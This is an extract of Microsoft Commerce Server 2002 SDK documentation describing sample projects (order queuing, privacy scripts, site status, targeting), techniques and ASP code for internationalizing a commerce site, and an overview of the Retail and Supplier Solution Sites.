  3. Right-click the Global.asa file, point to Open With, and then select your preferred editor

    In this example, the text editor is WordPad.

  4. Paste the following code into the global.asa file, in the Main function following the line of code Set Application("MSCSExpressionEvaluator") = MSCSExpressionEvaluator:
    Dim MSCSWriteToQueue

Set MSCSWriteToQueue = CreateObject("OrderQueue.WriteOrder")
Call MSCSWriteToQueue.Initialize ("ordersitelet")

Set Application("MSCSWriteToQueue") = MSCSWriteToQueue
  5. On the File menu, click Save.
  6. On the File menu, click Open, navigate to the orderlib.asp file located at <drive>:\Inetpub\wwwroot\ordersitelet\Include\orderlib.asp, and then click Open.
  7. Comment out the following line of code in the CompleteOrder function of the file orderlib.asp:
    ' Call oBasket.SaveAsOrder()
  8. Paste the following code into the CompleteOrder function in the file orderlib.asp after the line of code ' Call oBasket.SaveAsOrder():
    Dim oWriter
Set oWriter = Application("MSCSWriteToQueue")
Call oWriter.WriteToQueue(oBasket)
  9. On the File menu, click Save, and then click Exit.

To make the OrderQueue.dll file

  1. Click Start, point to Programs, point to Microsoft Visual Studio 6.0, and then click Microsoft Visual Basic 6.0.
  2. On the File menu, click Open Project, navigate to the OrderQueue.vbp file located at <drive>:\Program Files\Microsoft Commerce Server\SDK\Samples\Order Processing\Queuing\Component\OrderQueue.vbp, and then click Open.
  3. On the File menu, click Make OrderQueue.dll.
  4. In the Make Project dialog box, click OK.
  5. On the File menu, click Save Project.

To make the ReaderApp.exe file

  1. In Microsoft Visual Basic 6.0, on the File menu, click Open Project, navigate to the ReaderApp.vbp file located at <drive>:\Program Files\Microsoft Commerce Server\SDK\Samples\Order Processing\Queuing\ReaderApp.vbp, and then click Open.
  2. On the File menu, click Make ReaderApp.exe.
  3. In the Make Project dialog box, click OK.
  4. On the File menu, click Save Project, and then click Exit.

You can now register the OrderQueue.dll file.

To register the OrderQueue.dll file

  1. Click Start, and then click Run.
  2. In the Run dialog box, in the Open box, type regsvr32 "<drive>:\Program Files\Microsoft Commerce Server\SDK\Samples\Order Processing\Queuing\Component\OrderQueue.dll", and then click OK.

    After the registration succeeds, the RegSvr32 dialog box appears.

  3. In the RegSvr32 dialog box, click OK.

To reset IIS

  1. Click Start, and then click Run.
  2. In the Run dialog box, in the Open box, type iisreset, and then click OK.

A command box appears while IIS is being reset. IIS is reset when the command box closes.

To run the Order Queuing sample

  1. Click Start, point to Programs, and then click Internet Explorer.
  2. In Internet Explorer, in the Address box, type http://<server name>/ordersitelet, and then press ENTER.

    The default.asp page for the Order Sitelet appears.

  3. Place a sample order in the Order Sitelet following the on-screen directions.
  4. After placing the order and receiving order confirmation, open the ReaderApp.exe file located at <drive>:\Program Files\Microsoft Commerce Server\SDK\Samples\Order Processing\Queuing\ReaderApp\ReaderApp.exe.
  5. In the Read Order From Queue dialog box, in the Site name box, type the name of the site (for example, OrderSitelet).
  6. Click ReadOrder to read the first order from the queue.
The order is read from the queue and displayed in the Order details box.
  1. Click OK to save the order to the database.

    Note

    • Clicking Cancel will return the order to the queue and close the application.
  2. Repeat steps 6 and 7 until all orders have been read from the queue.
  3. To close the Read Order from Queue dialog box, click Cancel.


Privacy Samples

The Microsoft Commerce Server 2002 Software Development Kit (SDK) contains the following privacy scripts:

  • Delete User Data Script
  • Disassociate User Data Script

Delete User Data Script

Location in SDK: SDK\Samples\Privacy\DeleteDetailedData.vbs

This sample demonstrates how to use the OLE DB Provider for Commerce Server to delete detailed data about a particular user from the Data Warehouse.

Disassociate User Data Script

Location in SDK: SDK\Samples\Privacy\DisconnectDetailedData.vbs

This sample demonstrates how to use the OLE DB Provider for Commerce Server to disassociate detailed data about a particular user without deleting the data itself.


Site Management Samples

The Management folder contains the following samples:

  • Pup Resource Sample. Describes the Pup Resource sample.
  • ResourceConfig Sample. Describes the ResourceConfig sample.
  • Site Status Sample. Describes the Site Status sample.


PuP Resource Sample

Location in SDK: SDK\Samples\Site Management\PuP Resource

The files in this sample constitute the Microsoft Visual Basic source code for a COM object that implements the IPuP interface. The implementation is essentially the same as that implemented by the GenericPuP object, and can be used to package a specified set of tables from a single SQL Server database. For more information about the IPuP interface and the GenericPuP object, see Site Packager Interface and Using the GenericPuP Object.


ResourceConfig Sample

Location in SDK: SDK\Samples\Site Management\ResourceConfig

The files in this sample constitute the Microsoft Visual Basic source code that demonstrates how to add the configuration information for a custom resource with one configuration property to the tables of the Administration database. For more information about integrating a custom resource, see Integrating Custom Resources.


Site Status Sample

Location in SDK: SDK\Samples\Site Management\Site Status

The files in this sample constitute the C++ source code of a Microsoft Management Console (MMC) extension snap-in and custom Commerce Server site resource that extends the Commerce Server Manager interface and provides the ability to open and close the Commerce Server applications into which it is installed.

When installed as a site resource, this extension snap-in retrieves the name of the site it is installed in, and then retrieves the names of all the applications installed in the site. When you choose to close the site, it queries the Internet Information Services (IIS) metabase on each Web server hosting the site, and sets the RedirectUrl key in the metabase to redirect all incoming requests to a page that reports the site as closed.

To install the sample into an existing site, run the InstallSiteStatus.vbs script from the command line, passing in the name of the site. For example:

    C:\>cscript InstallSiteStatus.vbs Retail

Note

  • This example assumes that your account logon user name is sa, and the password is blank. Update the account logon user name and password in the InstallSiteStatus.vbs file to match your resources.


Site Creation Samples

Location in SDK: SDK\Samples\SiteCreate

The files in the SiteCreate folder are provided for two purposes. The .vbs and .sql script files are examples of how to create sites or add resources to sites using script. These files are also useful for learning how to incorporate new resources that use the GenericPup object. For more information about the GenericPup object, see the PuP Resource Sample. The .ini files are examples of those used to pack and unpack Commerce Server 2002 packages silently through the Commerce Server Site Packagers command line interface. For more information about the Site Packager resource, see Using Site Packager.


Targeting Samples

The Microsoft Commerce Server 2002 Software Development Kit (SDK) contains the following targeting samples:

  • Database Scripts to Remove Tables and Related Objects
  • Targeting Debugging Samples
  • Headline Targeting Sample

Database Scripts to Remove Tables and Related Objects

Location in SDK: SDK\Samples\Targeting\dbscripts

The files in this sample provide SQL scripts that can be used to remove different categories of tables and related objects, as follows:

  • campaigns-drop.sql: Removes all tables and related objects for the Campaigns resource.
  • expression-store-drop.sql: Removes all tables and related objects for an Expression store, which is normally in the same database as the Profile store.
  • listmanager-drop.sql: Removes all tables and related objects in a List Manager database, which is normally in the same database used by the Campaigns resource.

Targeting Debugging Samples

Location in SDK: SDK\Samples\Targeting\Debug

The files in this sample provide a set of Active Server Pages (ASP) that you can include in your ASP files to dump the contents of a Content Selection Framework (CSF) cache, and to trace the scoring logic applied for any given content request. The CSF Score Headlines sample demonstrates how to use these debugging utilities.

The ASP files in this directory are DumpContentList.asp and TraceScores.asp.

Headline Targeting Sample

Location in SDK: SDK\Samples\Targeting\Headlines

The files in this sample demonstrate how to extend the Targeting System using custom Content Selection Framework (CSF) Cache Loading and Scoring components. This sample shows how to target headlines to users of your site based on the age of the headline and what headlines have been seen the most. It demonstrates integration with the Targeting System using both Microsoft Visual C++ and Microsoft Visual Basic.

For more information about creating the sample, see Creating the CSF Headlines Sample or the Readme.txt file in the Headlines folder.

See Also

Targeting Programming Concepts

Extending the Content Selection Framework


Developing an International Site

Microsoft Commerce Server 2002 provides functionality to ease the process of internationalizing your Web site. Commerce Server includes features for tracking the language chosen by the user, for maintaining Web site text in multiple languages, and for manipulating date, time, and currency strings for presentation in the language of choice.

This section contains:

  • Starting with an Example Site. Describes quick-start options for developers who are building a new site.
  • Tracking Language Choice. Describes different mechanisms for tracking the language chosen by the user.
  • Localizing Web Site Text. Describes how to present Web site text in the language chosen by the user.
  • Localizing Dates and Times. Describes the Commerce Server objects provided for manipulating date and time strings and values so that they conform to the language chosen by the user.
  • Localizing Currencies. Describes the Commerce Server objects provided for manipulating currency strings and values so that they conform to the language chosen by the user. Also described are strategies for presenting product prices in different currencies.
  • International Site Development Examples. Describes site development tasks and provides sample code for those tasks.

Note

  • For additional ASP.NET code sample sitelets, see:
    • International Retail Site
    • ASP.NET-based Advertising Sitelet
    • ASP.NET-based Catalog Sitelet
    • ASP .NET-based Order Sitelet
    • ASP .NET-based Profile Sitelet
  • For additional ASP code sample sitelets, see:
    • ASP-based Advertising Sitelet
    • ASP-based Catalog Sitelet
    • ASP-based Discount Sitelet
    • ASP-based Order Sitelet
    • ASP-based Passport Sitelet
    • ASP-based Profile Sitelet

See Also

Planning an International Solution

International Scenarios

Table of Language Culture Names, Codes, and ISO Values

Table of Country / Region and State / Provence Names


Starting with an Example Site

If you are developing a new international business-to-consumer (B2C) site, you can base an effective site on the Retail Solution Site or the International Retail Site. The choice depends on several factors, such as your existing code base and the features you need in your site. It is possible to use Active Server Pages (ASP) and ASP.NET in the same site, but this can compromise the performance advantage of ASP.NET.

Commerce Server Retail Site is available at http://go.microsoft.com/fwlink/?linkid=6491.

The following table lists the differences between the two sites.

Feature | International Retail Site | Retail Solution Site
Implementation language? | ASP.NET | ASP
Multilingual and multicurrency support? | Yes | No
Improved multicultural content handling? | Yes | No
Modular architecture? | Yes | No
Feature set? | Less complete | More complete
Close to production level code? | No, SDK sample | Yes
Business-to-consumer (B2C) support? | Main features | Yes
Business-to-business (B2B) support? | Basic features | Yes


Tracking Language Choice

If you are developing a Web site that will support multiple languages, you need a strategy for tracking the language choice made by the user. You can do this by:

  • Storing the language choice in the user profile. One option for tracking a language choice is to persist the choice made by each user in the user profile. Each page retrieves the user profile and then uses the value stored in the language property to make the appropriate selections for text formatting. This is a cost-effective method of storing language preferences, because the only performance cost involved is retrieving and updating the profile. In most cases this will be the most effective method for storing the user language preference. The ASP Profile Sitelet and the ASP.NET Profile Sitelet provided in the SDK demonstrate how to implement this technique.
  • Creating distinct Web sites for each language. If your site contains mostly static HTML pages, you could pre-generate pages for each language. Using this approach, you develop and maintain multiple parallel Web sites, one for each language that is supported. Typically, the links on these pages link to other pages in the same language, while the links that move the user to a different language link to the equivalent page in each supported language. In this approach, the language choice is inherent in the URLs.

    You can minimize the maintenance burden of this approach by pre-generating pages from a reference Web site. The reference Web site should have all language-specific strings expressed as replaceable variables. You could then develop a tool to substitute the appropriate language-specific strings for each of these variables for each language that is supported.

  • Storing the language choice in client-side cookies. Storing the language choice in a client-side cookie is the easiest way to track a language choice, but cookies must be enabled on client browsers. In this approach, you store a language code (for example, "en", "fr", or "nl") in the cookie and read the cookie on every page that displays language-dependent strings. The language code can then be used to make the appropriate selections for text formatting. This is the choice used for the International Retail Solution Site.

    Depending on the expiration date of the cookies, this option may allow language choice to be preserved from session to session.

  • Passing the language choice in URL query strings. You can store the language choice in the query string portion of the URL for each page to track a language choice. If you use this approach, each page must read the language choice from the query string and use it to dynamically append the language choice to all URLs on the page so that that choice can be passed to subsequent pages. The language choice must also be used to make the appropriate selections for text, currency, and date/time formatting.
  • Detect the browsers language. The initial settings of the language choice can be based on the browser settings. This value can then be stored, and the user can change it if a different choice is wanted.


Localizing Web Site Text

On Web sites that support multiple languages, rendered pages must be capable of displaying text in the language chosen by the user. You must first decide whether you will build and maintain parallel Web sites in different languages, or whether you will build a single Web site that dynamically builds each page in the appropriate language.

Although the parallel Web site approach offers better performance due to its more static nature, the maintenance burden of keeping multiple Web sites synchronized has made this approach unpopular.

Commerce Server includes features to make the dynamic approach easier to develop. These features include:

  • Product Catalog System. The extensible nature of the Product Catalog System provides a convenient mechanism for storing multiple language information for each product in the catalog. For example, you can create multilingual properties for product descriptions, and then display the appropriate description based on the preferred language of a user. For more information about the Product Catalog System, see Product Catalog System.
  • MessageManager Object. This object serves as a repository for text strings used on a Web site. It includes a mechanism for separating the symbolic name of the string from the particular language translation of the string. For example, you could output the string "Weekly Specials" in English using the GetMessage method of the MessageManager object, as shown in the following code example:
    Dim sLangChoice
sLangChoice = "en"
<%= oMessageManager.GetMessage("Weekly_Specials", sLangChoice)%>

    By changing the way in which the sLangChoice parameter is initialized, the same line of code could be used to display a version of the string in a different language.

    An instance of the MessageManager object is typically created and loaded with messages in the Global.asa file. A reference to this object is then placed in the intrinsic Application object so that all pages in the Web site have easy access to the stored messages. If multiple languages are being used, the initialization code in the Global.asa file will load the MessageManager object with multiple sets of messages, where each set corresponds to one of the languages being supported.

    If you provide a set of localized messages for a particular language, it is important that you provide a translated version of all corresponding text. If you attempt to call the GetMessage method of the MessageManager object and pass a string name and language for which no string exists, a run-time error will occur.

    All of the ASP sitelets provided in the SDK use the MessageManager object to display site text in the language established in the user profile.

    For more information about using the MessageManager object, see MessageManager Object.

  • CacheManager Object. This object can serve as a high-performance repository for strings or other data that are used frequently. Since retrieval from a CacheManager object is dependent upon a single key string, and not a combination of a key string and a language string as is the case for the MessageManager object, the choice of language must be embedded within the key string itself.

    For example, multiple language versions of the same string in English, French, and Dutch could be stored in a CacheManager object, with the key strings for each ending in "_en", "_fr", and "_nl", respectively. The key string would be built dynamically, altering the final component of the string based on the language choice of the user.

    For more information about using the CacheManager object, see CacheManager Object and General Purpose Objects.

  • .NET support for localization of static text

    ASP.NET handles the internationalization of static text differently from ASP. With ASP.NET, the localized resources are separated into a resource file (.resx) that can be embedded in an assembly or a satellite assembly on a per culture basis.

    The .NET ResourceManager class is used to retrieve the appropriate resources from the .resx file based on culture settings. There is a built-in fall-back mechanism for when resources for a culture are missing. For more information about the .NET Resource Manager, search on "Resource Manager" in the .NET Framework SDK located at http://go.microsoft.com/fwlink/?LinkId=6680.

    For example, if you want to support French Canadian (fr-CA) and French France (fr-FR) cultures, you can do so with one set of French resources marked as simply "fr". When the site user selects the fr-CA culture, the .NET globalization namespace methods provide a way to appropriately display currencies, and dates for the fr-CA culture. In this case, the Resource Manager will look for resources marked as fr-CA, will not find any, and will then automatically look for an existing country/region neutral culture for "fr". The Resource Manager will find the "fr" resources, and the strings will be loaded.

    Notes

    • If the "fr" resource did not exist. the Resource Manager would fall back to the default resources.
    • A tool, called the Resource File Generator (resgen), is provided to migrate from rc.xml to resx. Resgen converts .txt files and .resx (XML-based resource format) files to common language run-time binary resources files that can be embedded in a run-time binary executable, or compiled into satellite assemblies.


Localizing Dates and Times

On Web sites that support multiple languages, rendered pages must display dates and times in the format appropriate for the language chosen by the user.

Commerce Server provides several Component Object Model (COM) objects for processing date and time values in different languages. These features include:

  • AppFrameWork Object. This object includes several methods for retrieving locale-sensitive date and time values from HTTP requests. These methods are:
    • AppFrameWork.RequestDate
    • AppFrameWork.RequestDateTime
    • AppFrameWork.RequestTime
  • DataFunctions Object. This object includes several methods for converting locale-sensitive date and time strings to their equivalent variant values, and back again. These methods are:
    • DataFunctions.ConvertDateString
    • DataFunctions.Date
    • DataFunctions.ConvertDateTimeString
    • DataFunctions.DateTime
    • DataFunctions.ConvertTimeString
    • DataFunctions.Time

On .NET-based sites, the .NET cultures system provides strong support for these tasks as well. Fore more information, see the .NET Framework Developer's Guide topic "Using the CultureInfo Class."

For more information about these objects, see Core Object Programming Concepts.


Localizing Currencies

On Web sites that support multiple languages, rendered pages must display currency values in the format appropriate for the country/region chosen by the user. Further, the price of any given product needs to be displayable in multiple currencies.

This section contains:

  • Objects for Manipulating Currencies
  • Presenting Product Prices in Multiple Currencies


Objects for Manipulating Currencies

Commerce Server provides several Component Object Model (COM) objects for processing currency values in different languages. These features include:

  • AppFrameWork Object. This object includes a method for retrieving locale-sensitive currency values from HTTP requests. This method is:
    • AppFrameWork.RequestMoneyAsNumber
  • DataFunctions Object. This object includes several methods for converting and formatting currency values. These methods are:
    • DataFunctions.ConvertMoneyStringToNumber
    • DataFunctions.ConvertStringToCurrency
    • DataFunctions.CurrencySymbol
    • DataFunctions.LocalizeCurrency
    • DataFunctions.Money
  • EuroDisplay Object. This object includes several methods for converting locale-sensitive currency strings to their equivalent numeric values, and back again. These methods are:
    • EuroDisplay.ConvertAltStringToCurr
    • EuroDisplay.ConvertBaseStringToCurr
    • EuroDisplay.ConvertMoney
    • EuroDisplay.FormatAltMoney
    • EuroDisplay.FormatBaseMoney
    • EuroDisplay.Initialize

For more information about these objects, see Core Object Programming Concepts.


Presenting Product Prices in Multiple Currencies

An issue related to the display of currencies in Web sites that support multiple languages is the presentation of product prices in different currencies.

As with product text, one alternative is to extend the product catalog schema to allow for the storage of product prices in different properties, one per language. The advantage of this approach is that product prices can be presented in conventional, well-rounded amounts such as $4.95 or £9.99. If you adopt this approach, however, you will be offering your products at slightly different prices based on the language chosen by the user, and you will have the burden of maintaining multiple prices per product.

A different strategy involves storing product-pricing information in only one currency, known as the base currency. For example, you can store your prices in U.S. dollars or European euros, and then recalculate prices in other currencies, as needed. This calculation adjusts the price in the base catalog by the exchange rate. When your site displays a price, it calculates the price based on the exchange rate and displays it with the associated currency symbol and display format.

Virtual catalogs are also an option for providing alternate currency pricing. See the topic Viirtual Catalogs for more information.

Important

  • If you store search results and product detail pages in the CacheManager object, you must make the currency part of the cache key or you will retrieve the wrong results when you try to display pricing in a different currency. For more information, see Caching Programming Concepts.
  • You may need to change the currency mode settings within the pipeline configurations to accommodate your choice of locale. More information can be found in the topics Currency Modes, Using the Pipeline Editor Property Pages, and Pipeline Properties.


International Site Development Examples

Before you develop your international site you will need to gather all the requirements for the markets you are going to include. For example, you will need to define the currencies and language settings you plan to include. You will also need to decide on the default language and currency to display, if you are not able to determine the preference for the site user.

Once you have determined all of your requirements, you will be ready to implement the code to meet those requirements. This section provides examples of common development tasks for international sites.

This section contains:

  • Code to Display Shipping Methods for a Particular Language
  • Code to Filter Catalog Data for a Particular Language
  • Code to Set the Language Properties for a User Profile


Code to Display Shipping Methods for a Particular Language

You can use the ShippingMethodManager object to control how shipping methods are displayed on your site. Shipping methods are stored in the ShippingConfig table of the Commerce Server run-time database (for example, Retail_commerce). The general steps for using the ShippingMethodManager object are to first initialize the ShippingMethodManager object and then obtain a list of the supported shipping methods. To retrieve the list of supported methods you call the GetInstalledMethodList method, which generates a SQL query and returns an ADO recordset containing all of the shipping methods in the ShippingConfig table. You can obtain a list of shipping methods for a particular language by appending a WHERE clause to the query that specifies a language_id field. The filter parameter of the GetInstalledMethodList method provides the WHERE clause. The following code example illustrates this concept. The code generates the following SQL query:

SELECT shipping_method_id, shipping_method_name FROM ShippingConfig WHERE language_id= ‘en’
Dim oShipMgr
Dim rstShipInfo
Set oShipMgr = Server.CreateObject(“Commerce.ShippingMethodManager”)
rstShipInfo = oShipMgr.GetInstalledMethodList(“language_id=en”, “”, _
                                              Array(“shipping_method_id”,
                                              “shipping_method_name”))

Note

  • The values for the language_id field are retrieved from the languages.xml file that is installed by default in the <bizdesk>\config directory.

See Also

International Shipping

ShippingMethodManager Object


Code to Filter Catalog Data for a Particular Language

The product catalog provides support for storing language-specific properties. You can retrieve these properties by setting the language setting for an instance of a product catalog before you display the catalog information.

The following code example demonstrates one way of retrieving catalog data for a particular language. The ASP Catalog Sitelet and ASP.NET Catalog Sitelet in the SDK provide a more complete example of how to use the product catalog multilingual support.

Note

  • Searching for Unicode text in a catalog requires a modified syntax. SQL requires that Unicode strings be identified with an "N" prefix. This is a problem in parameter searches as only part of the query is Unicode and Commerce Server cannot automatically supply the prefix. For example, a user requests products that match [ISBN] like "<Kanji string>". The SQL query for this search would contain a string like this "(([ISBN] like ''%Kanji string%''))". This query would not return the wanted results because the Kanji string would not be interpreted as Unicode. Instead, the user needs to specify [ISBN] like N"<Kanji string>" to obtain the wanted results.

The following sample includes an HTML form for selecting a particular language. The Action element for the form posts the form date to the Catman.asp file. The Catman.asp file performs the following operations:

  • Creates an instance of the CatalogManager object
  • Retrieves the catalog named "Adventure Works Catalog"
  • Sets the display language to the language selected in the form
  • Retrieves the products for the "Sleeping Bags" category
  • Displays the descriptions of the products in the "Sleeping Bags" category in the selected language

Form to select the language

<HTML>
<HEAD>
<META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0">
<TITLE></TITLE>
</HEAD>
<BODY>
<Form ID="setlang" Action = "catman.asp" Method = "Post">
<SELECT id=select1 name=Lang>
<OPTION value=fr-FR>French</OPTION>
<OPTION value=en-US>English</OPTION>
<OPTION value=de-DE>German</OPTION></SELECT>

<Input Type=submit>
</Form>

</BODY>
</HTML>

Catman.asp

<html>
<body>
<%
dim oCatMan
dim oProdCat
dim oProducts
dim sConnStr
dim sCatname
dim sCatagoryname
dim sLang

'Instantiate Catalog Manager and setup string variables
Set oCatMan = Server.CreateObject("Commerce.CatalogManager")
sConnStr = "Provider=SQLOLEDB.1;Integrated Security='SSPI';Initial Catalog=Retail_Commerce;Data Source=Myserver;Network Library=dbmssocn;"
sCatname = "Adventure Works Catalog"
sCategoryname = "SleepingBags"
sLang = Request.Form ("Lang")

'Initialize the Catalog Manager, set the display language and get some products
oCatMan.Initialize sConnStr, True
Set oProdCat = oCatMan.GetCatalog(sCatname)
oProdCat.Language = sLang
Set oProducts = oProdCat.GetCategory(sCategoryname).Products

'Display the product description
Do While Not oProducts.EOF
  Response.Write oProducts("Description") & "<BR>"
  oProducts.MoveNext ()
Loop

%>
</body>
</html>


Code to Set the Language Properties for a User Profile

One of the first tasks in developing an international site is to decide how you will determine the locale settings preferred by the user. Although there are a number of methods for accomplishing this, one common way is by reading the language and currency properties from the user profile. These two properties are included in the default user profile supplied in Commerce Server. If your site relies on these properties to determine how to display locale-specific content, you will need to mark these as required fields in your user registration form.

Once you have retrieved the preferences for a user from their user profile, you can use these settings to display the appropriate content. The following code example illustrates this concept. The example consists of a simple HTML form for entering a user ID, password, and language preference. The form posts the entered data to an ASP file named Profileexamp.asp. The Profileexamp.asp file instantiates the Profile Service, and creates a new profile with the user ID, password, and language preference entered in the form. The Profileexamp.asp file then retrieves the language setting for the new user profile, and displays it.

Note this code example does not reflect best practices for developing with the Profile objects, and is only provided for illustrative purposes. Error handling has been removed, and instantiating the Profile Service at the page level is not recommended. For a more complete example of how to use the Profile objects, see Profile Sitelet.

Form to enter user information

<HTML>
<HEAD>
<META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0">
<TITLE></TITLE>
</HEAD>
<BODY>
<Form ID="setlang" Action = "profileexamp.asp" Method = "Post">
<Input Type= text id=useridin name=userid>User ID</Input><BR>
<Input Type= text id=pwordin name=pword>Password</Input><BR>

<SELECT id=select1 name=Lang>
<OPTION value=fr-FR>French</OPTION>
<OPTION value=en-US>English</OPTION>
<OPTION value=de-DE>German</OPTION></SELECT>
<BR>
<Input Type=submit>
</Form>

</BODY>
</HTML>

Profileexamp.asp

<html>
<body>
<%
dim oProfService
dim oProfile
dim sConnStr
dim sUser
dim sCatagoryname
dim sLang
dim sProfile
dim sUserLang

'Instantiate ProfileService and setup string variables
Set oProfService = Server.CreateObject("Commerce.ProfileService")
sConnStr = "Provider=CSOLEDB;User ID=username;Password=******;Initial Catalog=Retail_Commerce;Data Source=Myserver;"
sLang = Request.Form ("Lang")
sUser = Request.Form ("Userid")
sProfile = "UserObject"

'Initialize the Profile Service, create the profile, and set the language preference
oProfService.Initialize sConnStr
Set oProfile = oProfService.CreateProfile (sUser, sProfile)
oProfile.GeneralInfo.Language = sLang
oProfile.Update
‘Retrieve the profile property you just set and write it out to the client
sUserLang = oProfile.GeneralInfo.Language
Response.Write sUserLang
%>
</body>
</html>

See Also

International Campaigns


Commerce Server Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Commerce Server Solution Sites provide a significant head start for developing a Web site based on Commerce Server 2002. They provide a highly structured approach to building a Web site that will be easy to extend and maintain once you have gained a sufficient understanding of how the Solution Sites work. The purpose of this documentation is to provide you with the information necessary to achieve that understanding.

This document contains:

  • Solution Sites Overview. Provides a brief overview of the Retail and Supplier Solution Sites, and provides information about how to best use this documentation.
  • Solution Site Features. Describes the features of the Solution Sites from the perspective of someone using them to buy products.
  • Solution Site Infrastructure. Describes several aspects of the infrastructure provided by the Solution Sites code.
  • Site Development Using Solution Sites. Provides information related to using the Solution Sites and modifying them into a production-ready, branded, commercial Web site.
  • Solutions Sites File Organization. Describes the files that constitute the Solution Sites and how they are organized into a hierarchy of folders.
  • Solution Sites Reference. Provides reference material useful when developing commercial Web sites based on the Solution Sites.


Solution Sites Overview

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Commerce Server Solution Sites provide a starting point for building commercial Web sites that use the functionality provided by Commerce Server 2002. There are two Solution Sites available, the Retail site and the Supplier site.

These sites consist of the same set of files, configured to behave differently. This was done because both types of sites incorporate much of the same functionality, differing only in a few particular ways. Further, this ability to reconfigure the sites provides for the possibility of easily constructing a different type of site that blends the functions of the Retail and Supplier sites.

The Retail site serves as the starting point for building a business-to-consumer Web site. This is a typical internet shopping site, allowing, for example, access by the general public and purchases with credit cards.

The Supplier site serves as the starting point for building a business-to-business Web site. Specifically, the Supplier site models situations such as a business that supplies products to other businesses. The businesses buying the products must be known in advance to the selling business. The Supplier Site includes features that allow for the delegation of some administrative functions to the buying businesses themselves.

This section contains:

  • Solution Sites Common Code Base
  • Retail Site
  • Supplier Site
  • Solution Sites Documentation


Solution Sites Common Code Base

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

As a developer of a Web site based on one of the Commerce Server Solution Sites, it is important that you understand that the Solution Sites are based on the same set of files. Configuration information, known as App Default Config, stored in the Commerce Server Administration database, is responsible for the differences between the sites. Within the script code that generates the HTML for the sites, there are numerous tests of the values in App Default Config, switching particular features on and off, or making more complex decisions between feature choices.

This means that the differences between the Retail Solution Site and the Supplier Solution Site are a matter of a few configuration differences in their respective App Default Config settings, and that one type of site could be changed into the other type of site by making the appropriate App Default Config changes using Commerce Server Manager.

An exception to this rule concerns the Profiling System that is supplied with the Solution Sites. The Supplier site installs a Profiling System that is based on Active Directory, while the Retail site installs a Profiling System that is based solely on SQL Server.

For more information about the App Default Config settings that constitute each of the Solution Sites, see Configuration Settings for Solution Sites. For more information about where the various App Default Config values are tested or otherwise used in the Solution Sites script code, see Use of App Default Config Settings in Solution Sites.


Retail Site

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Retail site represents a configuration of the Solution Sites common code base that is intended for you to use as the starting point for developing a retail Web site.

For information about the features included in the Retail site, see the Solution Site Features section.

The Retail site differs from the Supplier site in the following respects:

  • Partner Services is disabled in the Retail site, as specified by a setting of zero (0) for the i_DelegatedAdminOptions property of App Default Config.
  • Logging in is not required in the Retail site unless and until a purchase is made, as specified by a setting of six (6) for the i_FormLoginOptions property of App Default Config.
  • The Internet Information Service (IIS) authentication mechanism is configured to allow anonymous access.
  • Credit cards are the only allowed payment option in the Retail site, as specified by a setting of one (1) for the i_PaymentOptions property of App Default Config.
  • Self-registration is allowed in the Retail site, as specified by a setting of one (1) for the i_SiteRegistrationOptions property of App Default Config.
  • In the Retail site, user profile information is stored in a SQL Server database, as specified directly in the Profiling System.

For more information about the configuration settings that make the Retail site different from the Supplier site, see Configuration Settings for Solution Sites.

See Also

Supplier Site

Solution Site Features

Configuration Settings for Solution Sites


Supplier Site

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Supplier site represents a configuration of the Solution Sites common code base that is intended for you to use as the starting point for developing a site that allows contractual purchasing. The business model for this site is a business that is offering its products to an established set of other business, the latter of which have authorized certain employees to be able to make purchases. In fact, there is a feature, known as Partner Services, through which the administration of the list of authorized employees is delegated to the purchasing companies themselves.

Also note that the Product Catalog System in Commerce Server, using custom catalogs and catalog sets, allows the supplier business to offer custom pricing to different purchasing businesses.

For information about the features included in the Supplier site, see the Solution Site Features section.

The Supplier site differs from the Retail site in the following respects:

  • Partner Services is enabled in the Supplier site, as specified by a setting of one (1) for the i_DelegatedAdminOptions property of App Default Config.
  • Logging in is required in the Supplier site, and authentication is provided through Internet Information Services (IIS) using Basic or Integrated Windows authentication, as specified by a setting of seven (7) for the i_FormLoginOptions property of App Default Config.
  • Both credit cards and purchase order billing are allowed as payment options in the Supplier site, as specified by a setting of five (5) for the i_PaymentOptions property of App Default Config.
  • Self-registration is not allowed in the Supplier site, as specified by a setting of zero (0) for the i_SiteRegistrationOptions property of App Default Config.
  • In the Supplier site, user profile information is stored in Active Directory, as specified directly in the Profiling System.

For more information about the configuration settings that make the Supplier site different from the Retail site, see Configuration Settings for Solution Sites.

See Also

Retail Site

Solution Site Features

Configuration Settings for Solution Sites


Solution Sites Documentation

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

It is strongly recommended that you review all of the topics in the first four sections of this documentation before you begin Web site development based on one of the Commerce Server Solution Sites. It is important that you understand the features implemented by the Solution Sites, key aspects of the Solution Sites infrastructure, and additional information related to site development using the Solution Sites. These sections are:

  • Solution Sites Overview. Provides a brief overview of the Retail and Suppler Solution Sites, and provides information about how to best use the included documentation.
  • Solution Site Features. Describes the features of the Solution Sites from the perspective of someone using them to buy products, and so on.
  • Solution Site Infrastructure. Describes several aspects of the infrastructure provided by the Solution Sites code.
  • Site Development Using Solution Sites. Provides information related to starting with the Solution Sites and customizing them into an actual, branded, commercial Web site.

The last two sections of the documentation are intended as reference material. It is advised that you review the content of these sections before you begin customizing the Solution Sites so that you gain a better understanding of the information provided, and where different types of information can be found. These sections are:

  • Solution Sites File Organization. Describes the files that constitute the Solution Sites and how they are organized into a hierarchy of folders.
  • Solution Sites Reference. Provides reference material that you will find useful when developing your commercial Web sites based on the Solution Sites.

The Routines Reference provides a valuable resource, intended for use when modifying existing pages by changing existing code and when developing new pages. When modifying existing code, the routine topics can help you quickly track down the places where a particular routine is invoked, so that you can consider the full impact of the changes you are making. When creating new pages, the routine topics can help you find existing routines that can be invoked to help build the content for new pages in a manner that is consistent with existing pages. For more information about the functional categories in which these routines are grouped, see Utility Routines for Solution Sites.


Solution Site Features

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Commerce Server Solution Sites incorporate most of the capabilities of Commerce Server 2002. You use the Solution Sites to build working Web sites that you can customize as needed. Most of the basic features needed for creating a commercial Web site are present in the Solution Sites, such as a shopping basket, a checkout procedure, a product catalog, user profiles, and so on. There are also more advanced features, such as prediction and BizTalk Server integration.

